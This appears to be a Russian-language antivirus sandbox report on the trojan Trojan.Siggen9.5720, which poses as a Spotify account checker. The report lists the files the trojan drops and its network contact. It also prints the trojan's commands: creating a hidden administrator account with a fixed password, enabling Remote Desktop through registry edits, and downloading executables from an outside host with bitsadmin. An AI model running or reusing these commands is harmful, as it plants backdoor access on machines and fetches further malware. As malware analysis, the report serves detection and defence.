Trojan.Siggen9.5720

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%TEMP%\$inst\2.tmp
%TEMP%\$inst\temp_0.tmp
%APPDATA%\rat.bat
%APPDATA%\test.bat
%APPDATA%\adminrdp.bat
%APPDATA%\spotify premium checker by x-killer.exe
%APPDATA%\skinsoft.visualstyler.dll
%APPDATA%\x-killer32.dll
%APPDATA%\x-killer64.dll
%APPDATA%\xnet.dll
%LOCALAPPDATA%\skinsoft\visualstyler\2.3.5.0\x64\ssapihook.dll
%APPDATA%\systeminfo.txt

Удаляет следующие файлы

%TEMP%\$inst\temp_0.tmp
%TEMP%\$inst\2.tmp

Сетевая активность

Подключается к

'18#.#35.130.147':80

Другое

Ищет следующие окна

ClassName: 'MPWClass' WindowName: ''
ClassName: '.NET-BroadcastEventWindow.4.0.0.0.331f937.0' WindowName: ''
ClassName: 'SysHeader32' WindowName: ''
ClassName: 'Edit' WindowName: ''
ClassName: 'ComboLBox' WindowName: ''

Создает и запускает на исполнение

'%APPDATA%\spotify premium checker by x-killer.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\rat.bat" "' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\test.bat" "' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\adminrdp.bat" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\rat.bat" "
'%WINDIR%\syswow64\dxdiag.exe' /whql:off /t systeminfo.txt
'%WINDIR%\syswow64\attrib.exe' C:\users\MagBo1337 +r +a +s +h
'%WINDIR%\syswow64\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MagBo1337 /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
'%WINDIR%\syswow64\net1.exe' accounts /forcelogoff:no /maxpwage:unlimited
'%WINDIR%\syswow64\net.exe' accounts /forcelogoff:no /maxpwage:unlimited
'%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" MagBo1337 /add
'%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" MagBo1337 /add
'%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-555'" Get Name /Value
'%WINDIR%\syswow64\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
'%WINDIR%\syswow64\net1.exe' localgroup Administrators MagBo1337 /add
'%WINDIR%\syswow64\net.exe' localgroup Administrators MagBo1337 /add
'%WINDIR%\syswow64\net1.exe' user MagBo1337 Admin1337 /add /active:"yes" /expires:"never" /passwordchg:"NO"
'%WINDIR%\syswow64\net.exe' user MagBo1337 Admin1337 /add /active:"yes" /expires:"never" /passwordchg:"NO"
'%WINDIR%\syswow64\find.exe' "="
'%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-544'" Get Name /Value
'%WINDIR%\syswow64\bitsadmin.exe' /transfer JOB1 http://18#.#35.130.147/Build.exe %TEMP%\system32.exe
'%WINDIR%\syswow64\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
'%WINDIR%\syswow64\bitsadmin.exe' /transfer JOB1 http://18#.#35.130.147/svchost1.exe %APPDATA%\svchost.exe
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\adminrdp.bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\test.bat" "
'%WINDIR%\syswow64\systeminfo.exe'
'%WINDIR%\syswow64\ipconfig.exe'